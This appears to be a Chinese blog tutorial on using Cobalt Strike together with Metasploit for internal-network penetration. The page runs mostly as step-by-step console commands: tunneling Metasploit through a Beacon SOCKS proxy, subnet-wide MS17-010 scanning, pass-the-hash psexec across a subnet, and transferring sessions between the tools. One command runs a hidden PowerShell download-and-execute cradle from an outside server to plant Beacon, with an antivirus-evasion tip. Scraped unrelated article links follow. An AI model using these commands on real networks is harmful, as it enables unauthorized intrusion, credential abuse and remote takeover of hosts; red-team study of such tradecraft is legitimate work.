CobaltStrike与Metasploit实战联动
前言
CobalStrike 与 Metasploit 均是渗透利器,各有所长。前者更适合做稳控平台,后者则更擅长内网各类探测搜集与漏洞利用。两者更需要灵活的联动,各自相互依托,从而提升渗透的效率。
内置Socks功能
通过Beacon内置的socks功能在VPS上开启代理端口,打通目标内网通道,之后将本地Metasploit直接带入目标内网,进行横向渗透。
当然,也可以把代理设置在其他的工具上,不限于Proxychains、Proxifier等。
首先,到已控目标机的Beacon下将socks代理开启。
1 |
beacon > socks 1024 #端口根据VPS实际情况进行设置 |

点开菜单栏中的View > Proxy Pivots,复制代理连接到Metasploit中。

本地启动Metasploit,挂上代理,就可以对目标内网进行各种探测搜集。如 探测目标内网中存在MS17_010漏洞的主机,这也是内网拿主机权限利用方式之一。
1 |
msf5 > setg Proxies socks4/5:ip:port #让msf所有模块的流量都通过此代理走。(setg全局设置) |
2 |
msf5 > setg ReverseAllowProxy true #允许反向代理,通过socks反弹shell,建立双向通道。(探测可以不设置此项) |
3 |
msf5 > use auxiliary/scanner/smb/smb_ms17_010 |
4 |
msf5 > set rhosts 192.168.144.0/24 |
5 |
msf5 > set threads 100 #内网渗透时线程不要太高! |
6 |
msf5 > run |

利用MSF模块上线Beacon shell
当通过其它方式拿到了目标内网中某台Windows机器的本地管理员明文密码或hash时,可利用Metasploit下auxiliary/admin/smb/psexec_command模块,直接上线指定目标机器的Beacon shell。(前提目标机可出网)
先利用CobalStrike生成上线Beacon的powershell。

本地启动Metasploit,挂上代理,设置psexec_command模块参数。
1 |
msf5 > setg Proxies socks4/5:ip:port |
2 |
msf5 > use auxiliary/admin/smb/psexec_command |
3 |
msf5 > set rhosts 192.168.144.0/24 |
4 |
msf5 > set threads 10 |
5 |
msf5 > set smbuser administrator |
6 |
msf5 > set smbpass aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4 #明文、密文均可 |
7 |
msf5 > set command powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://149.28.xx.xx:80/a'))" #上线CS的powershell,目标机存在杀软需考虑
|
8 |
msf5 > run |

最终,只要密码一致、 能出网,且未被杀软阻止的均会成功上线。
CS与MSF会话互传
CobaltStrike派生Metasploit
当CobaltStrike获得了一个上线机器,想把这个目标传给Metasploit中的meterpreter,获得一个session进行控制。在Metasploit执行以下命令:
1 |
msf5 > use exploit/multi/handler |
2 |
msf5 > set payload windows/meterpreter/reverse_tcp #不要用x64的payload |
3 |
msf5 > set lhost 10.11.42.99 |
4 |
msf5 > set lport 5353 |
5 |
msf5 > run -j |

之后使用CobaltStrike创建一个windows/foreign/reverse_tcp的Listener。其中IP为Metasploit的监听地址,端口为Metasploit所监听的端口。

然后选中计算机,右键->Spawn:选择MSF的监听器:

这个时候可以看到,Metasploit上的监听已经上线,现在可以对meterpreter获得的session进行控制。

Metasploit派生CobaltStrike
现在已经获得了一个meterpreter的session,把session传给CobaltStrike。

在CobaltStrike中创建一个监听者,和上一步类似,这里host需要修改为CobaltStrike客户端IP,创建好之后便监听8099端口,等待着被控机连接。

接下来,把meterpreter获得的session转交给CobaltStrike,在Metasploit执行以下命令:
1 |
meterpreter > background |
2 |
msf5 > use exploit/windows/local/payload_inject |
3 |
msf5 > set payload windows/meterpreter/reverse_http |
4 |
msf5 > set lhost 192.168.144.174 |
5 |
msf5 > set lport 8099 |
6 |
msf5 > set DisablePayloadHandler true |
7 |
msf5 > set session 1 |
8 |
msf5 > run |
解释一下这些参数。由于CobaltStrike的监听器我们使用的是:
windows/beacon_http/reverse_http
所以我们的payload也要使用:
payload windows/meterpreter/reverse_http
设置本地监听IP和端口:由于监听器是CobaltStrike的,所以要设置成CobaltStrike机器的IP与端口。
默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个,这里我们设置:
set DisablePayloadHandler true
设置当前的session,执行run。

此时目标机便已成功从CobaltStrike上线。

总结
关于CobalStrike与Metasploit 的联动利用方式远不止这些,每种方式在实战中都有对应的应用场景,更需要探索与总结。
CobaltStrike与Metasploit实战联动的更多相关文章
- CobaltStrike与Metasploit联动配合
利用CobaltStrike内置Socks功能 通过Beacon内置的Socks功能在VPS上开启代理端口,打通目标内网通道,之后将本地Metasploit直接带入目标内网,进行横向渗透. 首先,到已 ...
- CobaltStrike 和 Metasploit 联动
出品|MS08067实验室(www.ms08067.com) 本文作者:掉到鱼缸里的猫(Ms08067内网安全小组成员) 个人觉得CobaltStrike图形化的界面和丰富的功能,是一个超强的后渗透框 ...
- Cobaltstrike与Metasploit会话转换
这里只做记录,不做详解 0x00 实验环境 被控制机:192.168.126.129 Metasploit:192.168.126.128 Cobaltstrike:182...* 0x01 CS会话 ...
- Cobaltstrike与MSF会话派生
Cobaltstrike与MSF会话派生 前言 一般在渗透的过程中,Get到shell之后一般来说我喜欢上线到Cobaltstrike,但是Cobaltstrike的会话是60S更新一次,有时候功能也 ...
- cobaltstrike的使用
0x01 介绍 Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器.Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以 ...
- 2017-2018-2 20155303『网络对抗技术』Exp6:信息收集与漏洞扫描
2017-2018-2 20155303『网络对抗技术』 Exp6:信息收集与漏洞扫描 --------CONTENTS-------- 一.原理与实践说明 1.实践内容 2.基础问题 二.实践过程记 ...
- w4sp-lab安装
扯淡 i春秋有个答题活动,苟了个奖品,我选了一本书:<wireshark与metasploit实战指南>,里面有个配套环境,本来看着书上说使用docker搭建的,以为很简单,只需要pull ...
- CobaltStrike + Metasploit 联动使用
本节的知识摘要: 通过 beacon内置的 socks功能将本地 Msf直接代入目标内网 借助 CobaltStrike的外部 tcp监听器通过 ssh隧道直接派生一个 meterpreter到本地 ...
- Cobaltstrike、armitage联动
i 春秋作家:fengzi 原文来自:Cobaltstrike.armitage联动 在使用Cobaltstrike的时候发现他在大型或者比较复杂的内网环境中,作为内网拓展以及红队工具使用时拓展能力有 ...
随机推荐
- kettle 中 java.lang.ClassCastException: [B cannot be cast to java.lang.String报错的解决方法
问题描述:从数据库中查询出的某字段是json类型数据,然后在json输入步骤报错java.lang.ClassCastException: [B cannot be cast to java.lang ...
- PAT L2-021. 点赞狂魔 /// sort+unique去重
https://www.patest.cn/contests/gplt/L2-021 题目大意: 微博上有个“点赞”功能,你可以为你喜欢的博文点个赞表示支持.每篇博文都有一些刻画其特性的标签,而你点赞 ...
- 【2018ACM/ICPC网络赛】沈阳赛区
这次网络赛没有打.生病了去医院了..尴尬.晚上回来才看了题补简单题. K Supreme Number 题目链接:https://nanti.jisuanke.com/t/31452 题意:输入一个 ...
- 搭建jeecg-boot项目运行
实验版本: 2.0.2(发布日期:20190708) 项目地址:https://github.com/zhangdaiscott/jeecg-boot 说明文档:http://jeecg-boot.m ...
- 各种图片特效,你想要吗?你不是真的想要吧?【纯CSS实现】
html部分: <!DOCTYPE html> <html lang="en" class="no-js"> <head> ...
- JS函数 编程练习 使用javascript代码写出一个函数:实现传入两个整数后弹出较大的整数。
编程练习 使用javascript代码写出一个函数:实现传入两个整数后弹出较大的整数. 任务 第一步: 编写代码完成一个函数的定义吧. 第二步: 我们来补充函数体中的控制语句,完成函数功能吧. 提示: ...
- SVN 分支操作
一 拉取分支 1 选择浏览 2 输入svn项目路径:https://IP/svn/ 3 选择拉取的项目 4 下载到本地路劲 右键选中的分支—CheckOut 选择本地路劲 二 分支合并 1 分支合并 ...
- Delphi 第2课
项目文件.dpr单元文件.pas--目标文件.dcu窗体文件.dfu begin 对象名.属性 对象名.方法end; 在delphi 自动提示控制语句结构 键盘输入Ctrl 就可以看到了 代码错误:( ...
- 廖雪峰Java15JDBC编程-3JDBC接口-5JDBC连接池
1. JDBC连接池 1.1 JDBC连接池简介 线程池可以复用一个线程,这样大量的小任务通过线程池的线程执行,就可以避免反复创建线程带来的开销. 同样JDBC可以复用一个JDBC连接 JDBC的连接 ...
- thinkphp 批量配置
C配置方法支持批量配置,例如: $config = array('WEB_SITE_TITLE'=>'ThinkPHP','WEB_SITE_DESCRIPTION'=>'开源PHP框架' ...